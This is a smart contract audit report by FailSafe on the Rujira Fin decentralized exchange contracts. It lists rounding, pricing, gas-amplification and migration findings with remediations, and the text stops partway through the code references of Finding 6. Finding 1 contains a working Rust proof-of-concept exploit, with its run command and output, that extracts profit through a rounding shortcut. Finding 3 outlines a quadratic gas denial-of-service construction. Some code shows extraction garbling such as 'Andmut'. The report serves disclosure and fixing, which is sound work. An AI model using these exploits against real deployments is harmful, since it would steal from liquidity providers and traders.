LICENSE NO. CS/PTS/C-202602-071

DATE

FAILSAFE

10 June 2026

Rujira Fin Update

Smart Contract Audit Report

CONDUCTED BY

FINAL REPORT

Oblivionis

FailSafe



Table of Contents

Executive Summary 2

Project Details 3
- Structure & Organization of The Security Report 3

Methodology 4

Summary of Findings 6
- Finding 1: Plus-one bid pool rounding allows systematic underpayment across price levels 8
- Finding 2: Limit price validation occurs before taker fee deduction 13
- Finding 3: Dense range boundaries create asymmetric quadratic gas amplification during swaps 15
- Finding 4: Linear SCL skew misprices positive-skew ranges and enables systematic LP extraction 17
- Finding 5: Overlapping range offers are settled at a blended price causing cross-LP value transfer 19
- Finding 6: Range partial fills use full-slice average prices causing taker overpayment and false limit rejections 22
- Finding 7: Range slice iteration does not refresh repriced ranges and can misquote later slices . 25
- Finding 8: Zero-refund range creation emits an empty bank send and reverts valid deposits . . . 33
- Finding 9: Incomplete upgrade migration may corrupt range state and reset range fees 36
- Finding 10: Rounded-down market-maker partial fills can produce zero-amount output entries . 38
- Finding 11: Simulate query ignores mandatory arbitrage and can return false execution quotes . 40
- Finding 12: Unordered multi-market-maker settlement can revert solvent executions 42

Disclaimer 44

Executive Summary

FailSafe was engaged to conduct an elite security review of the Rujira Fin Update deployed on ThorChain. As part of this work, our experienced team examined the architecture of the decentralized trading platform, which features concentrated liquidity ranges, limit orders, and an integrated order book to facilitate asset swaps and market making. The objective of the review was to identify potential vulnerabilities, assess their implications, and deliver actionable recommendations to fortify the protocol's security posture.

During the audit, several interesting patterns and vulnerabilities were discovered. Notably, a high-severity flaw was identified in the protocol's rounding logic for order pools, which allowed traders to systematically underpay across multiple price levels and extract value from resting liquidity. Additionally, several medium-severity issues were uncovered within the concentrated liquidity model, including flawed blended pricing that permitted cross-liquidity provider value transfers, and incorrect mathematical weighting that systematically misplaced skewed liquidity positions. Other significant findings involved limit price validations occurring before taker fee deductions, resulting in worse execution prices for users, and asymmetric gas amplification risks stemming from dense range boundaries that exposed the platform to denial-of-service attacks. Furthermore, structural issues such as unsafe iteration over stale pricing data and incomplete state migrations were noted. These findings highlight the importance of exact accounting, precise execution logic, and rigorous state management to prevent economic extraction and operational disruption.

We commend the development team for their proactive approach to security and their prompt responsiveness throughout the review. Their willingness to engage with the audit process and address these complex economic and architectural challenges demonstrates a strong dedication to maintaining a secure and resilient trading environment.

Project Details

Project	Rujira Fin Update
Website	https://rujira.network/
Repository	https://gitlab.com/thorchain/rujira/-/tree/main/contracts/rujira-fin
Blockchain	THORChain
Audit Type	Smart Contract Audit Report
Initial Commit	2c308f8904da241cf10e8b7187f1c5064be1474b
Final Commit	09230122175751833f2b0d59e0ba9f396cf8356b
Timeline	1 April 2026 - 5 April 2026

Structure & Organization of The Security Report

Issues are tagged as “Open”, “Acknowledged”, “Partially Resolved”, “Resolved” or “Closed” depending on whether they have been fixed or addressed.

- Open: The issue has been reported and is awaiting remediation from developer team.
- Acknowledged: The developer team has reviewed and accepted the issue but has decided not to fix it.
- Partially Resolved: Mitigations have been applied, yet some risks or gaps still remain.
- Resolved: The issue has been fully addressed and no further work is necessary.
- Closed: The issue is deemed no longer pertinent or actionable.

Furthermore, the severity of each issue is written as assessed by the risk of exploitation or other unexpected or otherwise unsafe behavior:

Critical	The issue affects the platform in such a way that funds may be lost, allocated incorrectly, or otherwise result in a significant loss.
High	The issue affects the ability of the platform to compile or operate in a significant way.
Medium	The issue affects the ability of the platform to operate in a way that doesn’t significantly hinder its behavior.
Low	The issue has minimal impact on the platform’s ability to operate.
Info	The issue is informational in nature and does not pose any direct risk to the platform’s operation.

Methodology

Threat Modelling

We employed a threat modelling approach to identify potential attack vectors and risks associated with the smart contract(s). This involved:

1. Asset Identification: Enumerating the critical assets within the smart contract(s), such as tokens, sensitive data, access controls, and more.
2. Threat Enumeration: Identifying potential threats such as reentrancy, integer overflow/underflow, denial of service, and more.
3. Vulnerability Assessment: Assessing vulnerabilities in the context of the smart contract(s) and its interaction with external components.
4. Risk Prioritization: Prioritizing identified threats based on their severity and potential impact.

Manual Code Review

Our manual analysis involved an in-depth review of the smart contract(s) source code, focusing on:

1. Code Review: Line-by-line examination to detect vulnerabilities and ensure compliance with best practices.
2. Logic Analysis: Analyzing the smart contract(s) business logic for vulnerabilities and inconsistencies.
3. Gas Optimization: Identifying areas for gas optimization and efficiency improvements.
4. Access Control Review: Ensuring proper access controls and permission management.
5. External Dependencies: Assessing the security implications of external dependencies or oracles.

Functional Testing in Hardhat/Foundry

Functional testing was performed using Hardhat/Foundry to ensure the correctness and reliability of the smart contract(s). This included:

1. Functional Testing: Comprehensive tests covering various functionalities and edge cases.
2. Integration Testing: Verifying the interaction of smart contract(s) with other components.
3. Deployment Verification: Ensuring the correctness of smart contract(s) deployment.

Fuzzing and Invariant Testing

Where deemed necessary based on the complexity and criticality of the smart contract(s), fuzzing and invariant testing were performed to identify vulnerabilities that might not be caught through conventional methods. This included:

1. Fuzz Testing: Employing fuzzing techniques to generate invalid, unexpected, or random inputs to trigger potential vulnerabilities.
2. Invariant Testing: Verifying invariants and properties to ensure the correctness and consistency of the smart contract(s) across various scenarios.

Edge Cases Scenarios Coverage

The audit thoroughly covered a wide spectrum of edge cases, including but not limited to:

1. Extreme Inputs: Testing with extreme and boundary inputs to assess resilience.
2. Exception Handling: Evaluating how the contract(s) handle exceptional scenarios.
3. Concurrency: Assessing the contract(s) behaviour in concurrent or simultaneous interactions.
4. Non-Standard Scenarios: Analyzing non-standard use cases that might impact contract(s) behaviour.

Reporting and Recommendations

Each finding includes:

1. The location within the codebase where the issue was found.
2. A clear explanation of the vulnerability, its root cause, and its potential exploitation.
3. Code snippets or detailed instructions on how to address the vulnerability.
4. Best practices and coding guidelines to prevent similar issues in the future.
5. Wherever applicable, a PoC to demonstrate issue severity, aiding effective mitigation.

Remediation Support

1. FailSafe is available to collaborate with the development team to address and remediate identified vulnerabilities.
2. Code changes and security fixes will be reviewed and validated upon request.

Summary of Findings

Severity	Total	Open	Acknowledged	Partially Resolved	Resolved
Critical	-	-	-	-	-
High	1	-	-	-	1
Medium	7	-	4	-	3
Low	4	-	1	-	3
Info	-	-	-	-	-
Total	12	-	5	-	7

#	Findings	Severity	Status
1	Plus-one bid pool rounding allows systematic underpayment across price levels	High	Resolved
2	Limit price validation occurs before taker fee deduction	Medium	Acknowledged
3	Dense range boundaries create asymmetric quadratic gas amplification during swaps	Medium	Acknowledged
4	Linear SCL skew misprices positive-skew ranges and enables systematic LP extraction	Medium	Resolved
5	Overlapping range offers are settled at a blended price causing cross-LP value transfer	Medium	Acknowledged
6	Range partial fills use full-slice average prices causing taker overpayment and false limit rejections	Medium	Acknowledged
7	Range slice iteration does not refresh repriced ranges and can misquote later slices	Medium	Resolved
8	Zero-refund range creation emits an empty bank send and reverts valid deposits	Medium	Resolved
9	Incomplete upgrade migration may corrupt range state and reset range fees	Low	Resolved
10	Rounded-down market-maker partial fills can produce zero-amount output entries	Low	Resolved
11	Simulate query ignores mandatory arbitrage and can return false execution quotes	Low	Resolved

#	Findings	Severity	Status
12	Unordered multi-market-maker settlement can revert solvent executions	Low	Acknowledged

Finding 1: Plus-one bid pool rounding allows systematic underpayment across price levels

Severity: High

Status: Resolved

Description

The shared `bid_pool::Pool` accounting contains an explicit rounding shortcut. If `bids_value + 1 >= self.total`, the pool is treated as fully consumed even though the submitted offer may still be one smallest unit short of the exact full-payment amount.

The important detail is that the `+ 1` tolerance is applied on the `bids_value` side, not on the input side. In an `A -> B` swap, the code accepts a trade that is still one atomic unit short in `B`, then transfers the full remaining `B` liquidity anyway. The actual input charged in the full-fill branch is still rounded down with:

```
consumed_offer = floor(total / rate)
```

So the minimum input that clears the whole level is:

```
offer_min = ceil((total - 1) / rate)
```

while the fair full-fill cost is:

```
fair_full = ceil(total / rate)
```

This means the taker's gain on a single level is bounded by `< 1` atomic unit of the output token, but the input-side value of that gain can be materially larger when `rate < 1`.

For a single price level the discrepancy may look like dust, but FIN executes trades and arbitrage across many levels. A trader who repeatedly targets the edge case can clear multiple price levels while underpaying at each fully consumed pool. Because the rounding rule lives in the common settlement primitive for order-pool liquidity, the leakage is deterministic and repeatable wherever the execution path crosses many adjacent pools.

Code:

```
packages/rujira-rs/src/bid_pool/pool.rs:49-71 (`distribute()`)
contracts/rujira-fin/src/order_pool/pool.rs:197-217 (`SwapItem::swap()`)
contracts/rujira-fin/src/contract.rs:318-368 (`execute_swap()`)

// packages/rujira-rs/src/bid_pool/pool.rs
let bids_value = offer.mul_floor(*rate);
...
```

```
if bids_value + Uint256::one() >= self.total {
    // Offer is worth more than pool. Empty the pool and increase the epoch
    return self.distribute_full(offer, rate);
}
```

Impact

This behavior allows takers to clear full price levels while paying less than exact accounting requires.

The precise bound is:

- extra output received per fully consumed pool: `< 1` atomic unit of the output token
- corresponding input underpayment: `ceil(total / rate) - ceil((total - 1) / rate)`

So the bug is not limited to "1 unit of input token" per pool. When the execution `rate` is small, one atomic unit of output can correspond to multiple atomic units of input. Over many levels and many transactions, the repeated shortfall accumulates into a measurable transfer from resting order liquidity to takers.

Proof of Concept:

PoC idea:

Use two FIN venues:

1. `cheap-venue` contains the vulnerable level:
    - maker offers `5 btc-btc`
    - price is `2.5 eth-usdc / btc-btc`
    - correct full-fill price is `ceil(5 * 2.5) = 13 eth-usdc`
2. `exit-venue` provides a fair exit:
    - maker bids `13 eth-usdc`
    - price is `2.6 eth-usdc / btc-btc`
    - selling `5 btc-btc` returns `13 eth-usdc`

If the vulnerable venue were correct, an attacker starting with `13 eth-usdc` would pay all `13` to buy `5 btc-btc`, then sell that `5 btc-btc` for `13 eth-usdc` on `exit-venue`, breaking even.

Instead, because of the `bids_value + 1 >= total` shortcut, the attacker can buy the full `5 btc-btc` from `cheap-venue` by sending only `10 eth-usdc`:

- `floor(10 * 0.4) = 4`
- `4 + 1 >= 5`, so the pool is treated as fully consumed
- `distribute_full()` only charges `floor(5 / 0.4) = 10`

The attacker then sells the acquired `5 btc-btc` on `exit-venue` for `13 eth-usdc`, realizing a net profit of `3 eth-usdc`.

Full PoC:

```
use std::str::FromStr;

use anyhow::Result;
use cosmwasm_std::{coin, Addr, Decimal, Uint128};
use cw_multi_test::{ContractWrapper, Executor};
use rujira_fin::contract::{execute, instantiate, query, sudo};
use rujira_rs::fin::{Denoms, ExecuteMsg, InstantiateMsg, OrdersResponse, Price, QueryMsg, Side, SwapRequest, Tick};
use rujira_rs_testing::{mock_rujira_app, RujiraApp};

fn instantiate_fin(app: &mut RujiraApp, owner: &Addr, fee: &Addr, label: &str) -> Addr {
    let code = Box::new(ContractWrapper::new(execute, instantiate, query).with_sudo(sudo));
    let code_id = app.store_code(code);
    app.instantiate_contract(
        code_id,
        owner.clone(),
        &InstantiateMsg {
            denoms: Denoms::new("btc-btc", "eth-usdc"),
            market_makers: vec![],
            oracles: None,
            tick: Tick::new(6u8),
            fee_taker: Decimal::zero(),
            fee_maker: Decimal::zero(),
            fee_range: Decimal::zero(),
            fee_address: fee.to_string(),
            range_delta: Decimal::permille(50),
        },
        &[],
        label,
        None,
    )
    .unwrap()
}

fn main() -> Result<()> {
    let mut app = mock_rujira_app();
    let owner = app.api().addr_make("owner");
    let fee = app.api().addr_make("fee");
    let attacker = app.api().addr_make("attacker");
    let maker_low = app.api().addr_make("maker_low");
    let maker_high = app.api().addr_make("maker_high");

    app.init_modules(|router, _, storage| {
        router
            .bank
            .init_balance(storage, &attacker, vec![coin(13, "eth-usdc")])
            .unwrap();
        router
            .bank
            .init_balance(storage, &maker_low, vec![coin(5, "btc-btc")])
            .unwrap();
        router
            .bank
            .init_balance(storage, &maker_high, vec![coin(13, "eth-usdc")])
            .unwrap();
    });
```

```
56
57      let cheap_venue = instantiate_fin(Andmut app, Andowner, Andfee, "cheap-venue");
58      let exit_venue = instantiate_fin(Andmut app, Andowner, Andfee, "exit-venue");
59
60      app.execute_contract(
61          maker_low.clone(),
62          cheap_venue.clone(),
63          AndExecuteMsg::Order((
64              vec![(
65                  Side::Base,
66                  Price::Fixed(Decimal::from_str("2.5").unwrap()),
67                  Some(Uint128::from(5u128)),
68              )],
69              None,
70          )),
71          And[coin(5, "btc-btc")],
72      )?;
73
74      app.execute_contract(
75          maker_high.clone(),
76          exit_venue.clone(),
77          AndExecuteMsg::Order((
78              vec![(
79                  Side::Quote,
80                  Price::Fixed(Decimal::from_str("2.6").unwrap()),
81                  Some(Uint128::from(13u128)),
82              )],
83              None,
84          )),
85          And[coin(13, "eth-usdc")],
86      )?;
87
88      let quote_before = app.wrap().query_balance(attacker.to_string(), "eth-usdc")?.amount;
89
90      app.execute_contract(
91          attacker.clone(),
92          cheap_venue.clone(),
93          AndExecuteMsg::Swap(SwapRequest::Yolo {
94              to: None,
95              callback: None,
96          }),
97          And[coin(10, "eth-usdc")],
98      )?;
99
100     let cheap_order: OrdersResponse = app.wrap().query_wasm_smart(
101         cheap_venue.clone(),
102         AndQueryMsg::Orders {
103             owner: Some(maker_low.to_string()),
104             side: None,
105             start_after: None,
106             limit: None,
107         },
108     )?;
109
110     let quote_after_buy = app.wrap().query_balance(attacker.to_string(), "eth-usdc")?.amount;
111     let base_after_buy = app.wrap().query_balance(attacker.to_string(), "btc-btc")?.amount;
112
113     app.execute_contract(
114         attacker.clone(),
115         exit_venue.clone(),
116         AndExecuteMsg::Swap(SwapRequest::Yolo {
117             to: None,
118             callback: None,
119         }),
120         And[coin(5, "btc-btc")],
121     )?;
122
123     let quote_after = app.wrap().query_balance(attacker.to_string(), "eth-usdc")?.amount;
124     let base_after = app.wrap().query_balance(attacker.to_string(), "btc-btc")?.amount;
125     let profit = quote_after.checked_sub(quote_before).unwrap();
```

```
126
127     assert_eq!(quote_before, Uint128::from(13u128));
128     assert_eq!(quote_after_buy, Uint128::from(3u128));
129     assert_eq!(base_after_buy, Uint128::from(5u128));
130     assert_eq!(cheap_order.orders[0].remaining, Uint128::zero());
131     assert_eq!(cheap_order.orders[0].filled, Uint128::from(10u128));
132     assert_eq!(quote_after, Uint128::from(16u128));
133     assert_eq!(base_after, Uint128::zero());
134     assert_eq!(profit, Uint128::from(3u128));
135
136     println!("cheap venue fair full-fill cost: 13 eth-usdc");
137     println!("cheap venue actual attacker payment: 10 eth-usdc");
138     println!("cheap venue maker received: {}", cheap_order.orders[0].filled);
139     println!("attacker balances after buy: {} eth-usdc, {} btc-btc", quote_after_buy, base_after_buy);
140     println!("attacker final balances: {} eth-usdc, {} btc-btc", quote_after, base_after);
141     println!("realized profit: {} eth-usdc", profit);
142
143     Ok(())
144 }
```

From the repository root:

```
cd rujira
cargo run -p rujira-fin --features mock --bin plus_one_rounding_poc
```

Output:

```
cheap venue fair full-fill cost: 13 eth-usdc
cheap venue actual attacker payment: 10 eth-usdc
cheap venue maker received: 10
attacker balances after buy: 3 eth-usdc, 5 btc-btc
attacker final balances: 16 eth-usdc, 0 btc-btc
realized profit: 3 eth-usdc
```

Remediation

Consider removing the `+ 1` shortcut and requiring exact sufficiency for the full-consumption branch. If the intent is to handle harmless dust, account for that dust explicitly and charge or refund it rather than silently gifting it to the taker.

It is also worth adding invariant tests that bound cumulative rounding loss across multi-level executions, not just within a single pool.

Finding 2: Limit price validation occurs before taker fee deduction

Severity: Medium

Status: Acknowledged

Description

`SwapRequest::Limit` uses `price` as the user's execution bound, but the current implementation validates that bound against the gross execution ratio before taker fees are deducted. In `Swapper::swap()`, each step computes `achieved` as `offer / bids` and rejects the step only if that pre-fee ratio exceeds the user-provided limit. After the matching loop completes, the function subtracts the taker fee from the aggregate return amount. As a result, the effective post-fee execution price may be worse than the user's stated limit even though the swap is accepted.

This behavior affects both direct limit swaps and the auto-crossing phase used when placing a new limit order. `OrderManager::execute_new_order()` constructs a `SwapRequest::Limit` and routes the crossing logic through the same `Swapper::swap()` path before placing the residual amount onto the book. The issue therefore applies to the initial taker leg of new order placement as well as to standalone swaps.

Code:

```
1  rujira/packages/rujira-rs/src/exchange/swapper.rs:44-72 (`Swapper::swap()`)
2  rujira/contracts/rujira-fin/src/order_pool/order_manager.rs:137-154 (`OrderManager::execute_new_order()`)
3  rujira/packages/rujira-rs/src/interfaces/fin/execute.rs:90-97 (`SwapRequest::Limit`)
```

// Gross price check occurs before fees are applied. let (offer, bids, atts) = v.swap(&mut next_context, self.remaining_offer)?; if let SwapRequest::Limit { price: limit, .. } = self.req { if !bids.is_zero() { let achieved = Decimal::from_ratio(offer, bids); if achieved > limit { break; } } }

// Fees are deducted only after matching has already accepted the step. let fee = Decimal::from_ratio(self.returned, 1u128) .mul(self.fee) .to_uint_ceil() .min(self.returned); self.returned -= fee;

Impact

This behavior may allow users to receive fewer output tokens than their limit price implies after fees are applied. In practice, a trade that appears acceptable during matching may settle at a worse effective net price once the taker fee is deducted from the final return amount. That weakens the protection users

reasonably expect from a limit-priced execution path and may result in avoidable value loss during volatile conditions or in thin books.

The same consequence may affect the auto-crossing leg of new limit-order placement. A user may intend to cross only at or better than the specified price, but the order manager may consume liquidity at a post-fee price outside that bound before the remaining size is posted to the book.

Remediation

Consider enforcing the limit against the net return amount after taker fees rather than against the gross return amount before fees. One approach is to evaluate each tentative step using the aggregate return that would remain after applying the configured taker fee, and only commit the step if the resulting effective execution price still satisfies `SwapRequest::Limit.price`.

Finding 3: Dense range boundaries create asymmetric quadratic gas amplification during swaps

Severity: Medium

Status: Acknowledged

Description

rujira-fin allows any user to create permissionless range positions as long as at least one side of liquidity is non-zero. During a swap, `RangeOfferIter()` does not advance on a fixed `range_delta` alone. Instead, each slice ends at the nearest of three candidates: the next default step, the nearest active range close boundary, or the next range open boundary. This allows an attacker to force the iterator to cut a swap into many very small slices by placing distinct range boundaries on consecutive ticks.

The cost of each slice is not constant. `build_offer()` walks every currently active range and calls `insert_range()` for each one, while `RangeOffer::swap()` walks those same per-slice ranges again to pro-rate fills and update cached range state. `Swapper::swap()` also clones the entire swap context before every iterator item. When many overlapping ranges remain active across many boundary-driven slices, the victim's work grows with the sum of active ranges across all slices. In the attacker-favorable construction where each newly added range introduces another boundary while leaving prior ranges active, this becomes approximately `1 + 2 + ... + n = O(n^2)` work for a swap, even though the attacker only needs to create `O(n)` malicious ranges.

This creates an asymmetric gas-amplification issue. An attacker can split liquidity across many dust-sized ranges, place one open boundary per tick, keep those ranges overlapping so they stay active together, and impose a roughly linear setup cost on themselves while forcing every victim swap through the region to pay a quadratic execution cost. The practical limit becomes the per-transaction gas budget chosen by the client or simulator and the validator runtime budget. Using THORChain mainnet node info fetched on April 5, 2026, the current software stack is `thornode 3.16.3`, `wasmd 0.54.0`, and `wasmvm 2.2.1`. Using CosmWasm's published 1 teragas/second calibration as an execution proxy, local measurement of the real code path shows approximately 0.49 seconds at 200 boundaries, 0.78 seconds at 250 boundaries, and 1.28 seconds at 300 boundaries in the dense-overlap worst case. A quadratic fit places the 1-second threshold at roughly 272 attacker-controlled boundaries.

For a BTC-USD market around $67,152/BTC, this threshold is attainable with a relatively small number of attacker positions. If the market uses `Tick::new(6)`, one tick near spot is approximately $0.10, so roughly 250 to 300 consecutive tick boundaries span only $25 to $30, or about 0.04% to 0.045% of spot. In that configuration, roughly 270 malicious range positions are sufficient in the worst case. If the market is configured more finely, such as `Tick::new(8)`, the same number of positions spans only about $0.25 to $0.30 around spot.

Code:

```
// Every active range is revisited for every produced slice.
fn build_offer(&mut self, start: &Decimal) -> Option<RangeOffer> {
    let mut offer = RangeOffer::new(&self.side, start, &self.previous?);
    for r in self.ranges.values_mut().flatten() {
        offer.insert_range(r);
    }
    Some(offer)
}

// The next slice boundary is whichever comes first:
// a close boundary, an open boundary, or the default step.
let opts = self.candidates(&start);
self.previous = match self.side {
    Side::Base => opts.into_iter().flatten().min(),
    Side::Quote => opts.into_iter().flatten().max(),
};

// Swapper clones the full context before every iterator item.
for mut v in iter {
    let mut next_context = self.context.clone();
    let (offer, bids, atts) = v.swap(&mut next_context, self.remaining_offer)?;
    self.context = next_context;
}
```

Impact

This behavior may allow an attacker to impose quadratic gas costs on victim swaps while paying only linear setup cost themselves. In practice, that imbalance may make a pair economically cheap to poison and expensive to trade through. Because the same iterator family is used to construct executable liquidity views, the effect is not limited to one exact user path and may affect any flow that relies on traversing range liquidity at execution time.

Remediation

Consider enforcing a hard upper bound on range work per swap rather than relying on `range_delta` alone. One approach is to cap the number of boundary-driven slices that a single swap may traverse and fail early with an explicit error once that cap is exceeded. A complementary approach is to cap the number of active ranges that can contribute to any single slice or to reject new positions that would introduce a boundary on an already overpopulated tick. The objective should be to prevent user-controlled range count from translating into quadratic swap work.

Finding 4: Linear SCL skew misprices positive-skew ranges and enables systematic LP extraction

Severity: Medium

Status: Resolved

Description

The new skewed concentrated liquidity model advertises that positive `skew` should concentrate liquidity toward the spread edge and negative `skew` should concentrate liquidity toward the limit edges. The implemented math does not satisfy that property.

`Scl` currently uses a linear weight `w(p) = 1 + sigma * (p - p_m) / Deltap`. That function is asymmetric around the midpoint: for `sigma > 0` it increases liquidity density toward the high end and decreases it toward the low end. On the ask side, this pushes liquidity away from the spread edge and toward `high`, while on the bid side it pushes liquidity toward the spread edge. The two sides therefore move in opposite directions, contrary to the documented and intended semantics.

Range creation, repricing, per-slice offer construction, and effective-price calculation all depend on this same `Scl` model. LPs who choose a positive skew expecting tighter two-sided concentration near the center instead publish one side materially farther out on the curve than intended. Sophisticated takers can detect this systematic misplacement and route flow specifically through the side that is misweighted, extracting value from skewed LPs.

Code:

```
contracts/rujira-fin/src/ranges/scl.rs:3-19 (documented semantics)
contracts/rujira-fin/src/ranges/scl.rs:39-60 (`new()`)
contracts/rujira-fin/src/ranges/scl.rs:63-99 (`y_at()`, `x_at()`, `y_prime()`, `x_prime()`)
contracts/rujira-fin/src/ranges/scl.rs:163-224 (`effective_price()`, `amount_in_slice()`)
contracts/rujira-fin/src/ranges/range.rs:176-193 (`new()`)
```

// contracts/rujira-fin/src/ranges/scl.rs // Weight function: w(p) = 1 + sigma*(p - p_m)/Deltap

// contracts/rujira-fin/src/ranges/scl.rs let beta = SignedDecimal256::from(skew) / SignedDecimal256::from(delta_p); let alpha = SignedDecimal256::one() - beta * SignedDecimal256::from(p_m);

Impact

Positive-skew LPs can be induced into a systematically wrong inventory distribution: bids become more aggressive near the center while asks move farther toward the upper edge than intended. Traders who understand the skew bug can repeatedly trade against the misweighted side at prices that are more favorable than the LP expected when choosing the strategy.

Because the same SCL model also controls balancing and repricing, the error compounds over time. Range positions created under the false assumption of symmetric skew can remain persistently offside and lose value through repeated arbitrage.

Remediation

Consider replacing the linear weight with a symmetric function around the midpoint so that positive skew concentrates both sides toward the spread edge and negative skew concentrates both sides toward the boundaries.

Finding 5: Overlapping range offers are settled at a blended price causing cross-LP value transfer

Severity: Medium

Status: Acknowledged

Description

When multiple ranges are active in the same discrete price slice, FIN merges them into one `RangeOffer` and computes a single blended `effective_rate`. When that aggregate offer is filled, the code splits both the taker input and taker output back across the constituent ranges only by each range's share of slice liquidity.

That reconstruction is only economically correct when all contributing ranges share the same slice-effective price. In FIN, a range's slice-effective price is `Scl::effective_price(start, end)`, which depends on the range shape and bounds. Two overlapping ranges with different `high`/`low` and/or `skew` can therefore have different true execution prices over the same slice even though the implementation settles them at one shared blended rate.

Minimal example:

- Two ask-side ranges share the same bounds: `low=100`, `high=110`
- Same starting price: `104`
- LP A uses `skew=-0.8`
- LP B uses `skew=+0.8`
- Both use `spread=0`, `fee=0`

For the shared interior slice `[104, 105]`:

- LP A: `amount_in_slice() ~= 212.863104` `effective_price(104, 105) ~= 104.492394`
- LP B: `amount_in_slice() ~= 143.243329` `effective_price(104, 105) ~= 104.505749`

FIN aggregates those two ranges into one slice-level `RangeOffer`:

- `total ~= 356.106434`
- `effective_rate ~= 104.497766`
- contributors: `[(LP A, 212.863104), (LP B, 143.243329)]`

So same-boundary ranges with different `skew` are not merged into a new homogeneous curve. They remain distinct contributors inside one aggregated `RangeOffer` that exposes only one blended price to the swapper.

As a result, one LP can be credited too much while another is credited too little inside the overlap region. This is a cross-LP settlement error rather than a reserve shortfall: the taker receives the aggregate quote, and the loss is borne by other overlapping LPs. The issue does not require different LP fee settings. `range.fee` is applied only after the per-range allocation has already been computed, so fee differences are not the root cause.

The practical preconditions are:

1. Two or more economically distinct LP positions overlap in the same `RangeOffer` slice.
2. Those ranges have materially different slice-effective prices for that slice.
3. Order flow actually reaches the shared slice.
4. The attacker controls one of the overlapping LPs that benefits from the blended settlement.

Under those conditions, LP funds can be systematically transferred between users without consent.

Code:

```
contracts/rujira-fin/src/ranges/iter.rs:96-103 (`build_offer()`)
contracts/rujira-fin/src/ranges/range_offer.rs:36-49 (`insert_range()`)
contracts/rujira-fin/src/ranges/range_offer.rs:77-113 (`swap()`)
contracts/rujira-fin/src/ranges/scl.rs:163-180 (`effective_price()`)
contracts/rujira-fin/src/ranges/range.rs:275-299 (`swap()`)
```

// contracts/rujira-fin/src/ranges/range_offer.rs let amount = range.amount_in_slice(&self.side, self.start, self.end); … self.effective_rate = (old_total * self.effective_rate

```
+ Decimal256::from(amount) * eff_price)
/ Decimal256::from(self.total);
```

self.ranges.push((range.clone(), amount));

// contracts/rujira-fin/src/ranges/range_offer.rs let (deduct, add) = if i + 1 == len { (remaining_bids_used, remaining_offer_used) } else { let (a, b) = (Decimal256::from(*v), Decimal256::from(self.total)); (Decimal::try_from(a.mul(Decimal256::from(bids_used)).div(b))?, Decimal::try_from(a.mul(Decimal256::from(offer_used)).div(b))?,) };

Impact

An attacker can open an overlapping LP position whose slice-effective price is more favorable than another LP's price in the same shared slice, then let external order flow settle both positions at the blended rate.

On the ask side, the lower-priced LP benefits because it is paid as if it sold at the higher blended price. On the bid side, the higher-priced LP benefits because settlement is still reconstructed from the same blended rate rather than each range's own slice-effective price. In both cases, value is transferred from one LP to another through protocol settlement.

This does not require insolvency, oracle manipulation, or a same-block race. It is sufficient that the attacker can create an overlapping range and that swaps continue to hit the shared slice. The most realistic exploitation path is passive: the attacker leaves the favorable overlap in place and waits for organic taker flow, then later withdraws or closes the position to realize the transferred value.

Remediation

Do not settle overlapping ranges from a single blended execution price unless all contributing ranges are guaranteed to have the same slice-effective price.

Safer options include:

1. Execute each contributing range against its own slice-effective price and apply fees after per-range settlement.
2. If aggregation is required, preserve per-range execution amounts and prices inside the aggregated object so writeback remains curve-correct.
3. As a fallback, only aggregate ranges that are provably homogeneous for the current slice, such as ranges whose per-slice execution price is identical within tolerance.

Finding 6: Range partial fills use full-slice average prices causing taker overpayment and false limit rejections

Severity: Medium

Status: Acknowledged

Description

FIN discretizes range liquidity into `RangeOffer` slices and computes one slice-wide `effective_rate` for each bucket. That design becomes unsound when a taker consumes only a prefix of the bucket instead of the entire slice. In `RangeOffer::insert_range()`, each contributing range is reduced to a single full-slice average price via `Scl::effective_price(start, end)`, weighted by the slice amount available over the entire `[start, end]` interval. In `RangeOffer::swap()`, that same aggregate `effective_rate` is then applied to any fill size inside the slice, including trades that only consume a small fraction of the bucket.

This behavior does not match the underlying SCL curve. Execution always enters a slice from its best edge and then moves monotonically toward worse prices. For a partial fill, the economically correct settlement price is therefore the average price over the consumed prefix of the slice, not the average price over the entire bucket. Using the full-slice average systematically prices partial fills as if they had already traversed the worse tail of the slice. The result is a deterministic execution bias against takers whenever a `RangeOffer` is only partially consumed.

The severity of the pricing error grows with slice width. The configured slice step, `range_delta`, is only validated to be non-zero and is not capped to any maximum value. When no nearer range opening or closing boundary interrupts iteration, a single bucket can therefore span a large percentage price move. That makes the difference between the correct prefix-average price and the implemented full-slice average materially larger.

The issue is already visible in the `skew = 0` limit, where SCL reduces to standard concentrated liquidity. Consider an ask-side slice with `start = 100` and `end = 144`, which can arise when `range_delta = 44%` and no closer boundary exists. For standard concentrated liquidity, the economically correct average execution price over the full slice is `sqrt(100 * 144) = 120`. If a taker only consumes the front prefix of that same slice up to `p* = 102.01`, the correct average price for the executed prefix is only `sqrt(100 * 102.01) = 101`. The current implementation would still settle that partial fill at `120`, overstating the execution price by approximately `18.8%` relative to the curve-consistent prefix price. That example uses a zero-skew range; with stronger curvature or larger step sizes, the distortion may be even more pronounced.

The effect is not limited to one swap mode. `Yolo`, `Min`, and `Exact` swaps all settle partial range fills at the bucket-wide average price. `Limit` swaps are additionally exposed because `Swapper::swap()` checks the

achieved price returned by the current item, and that achieved price is already polluted by the full-slice averaging. A limit order may therefore stop at the first range slice even when the prefix of that slice would have satisfied the limit and fully filled the requested amount. The same averaged `rate()` is also used to merge range liquidity with pools and market makers in `SwapIter::iter()`, to expose the public order book in `QueryMsg::Book`, and to derive the top-of-book midpoint in `mid_price()`.

This creates a broader class of pricing and routing distortions. Takers may overpay or underreceive whenever their flow only partially traverses a range slice. Limit orders may be rejected too conservatively. Range liquidity may also be sorted behind worse-priced competing liquidity because the protocol compares a bucket average instead of the true marginal entry price at the front of the slice. Finally, because `mid_price()` consumes these same distorted top-of-book rates and `execute_range()` uses that midpoint to balance deposits and enforce slippage on range creation, the approximation can propagate into user-facing range setup. Severity assessment: High. The issue causes direct economic harm to takers and can also deny otherwise valid limit executions under normal trading conditions.

Code:

```
contracts/rujira-fin/src/ranges/iter.rs:152-163 (`Iterator::next()`)
contracts/rujira-fin/src/ranges/range_offer.rs:36-49 (`insert_range()`)
contracts/rujira-fin/src/ranges/range_offer.rs:65-115 (`swap()`)
contracts/rujira-fin/src/config.rs:43-58 (`validate()`)
contracts/rujira-fin/src/config.rs:65-80 (`update()`)
contracts/rujira-fin/src/swap_iter.rs:28-53 (`iter()`)
contracts/rujira-fin/src/swap_iter.rs:56-65 (`mid_price()`)
contracts/rujira-fin/src/contract.rs:246-268 (`query()`)
contracts/rujira-fin/src/ranges/execute.rs:43-84 (`execute_range()`)
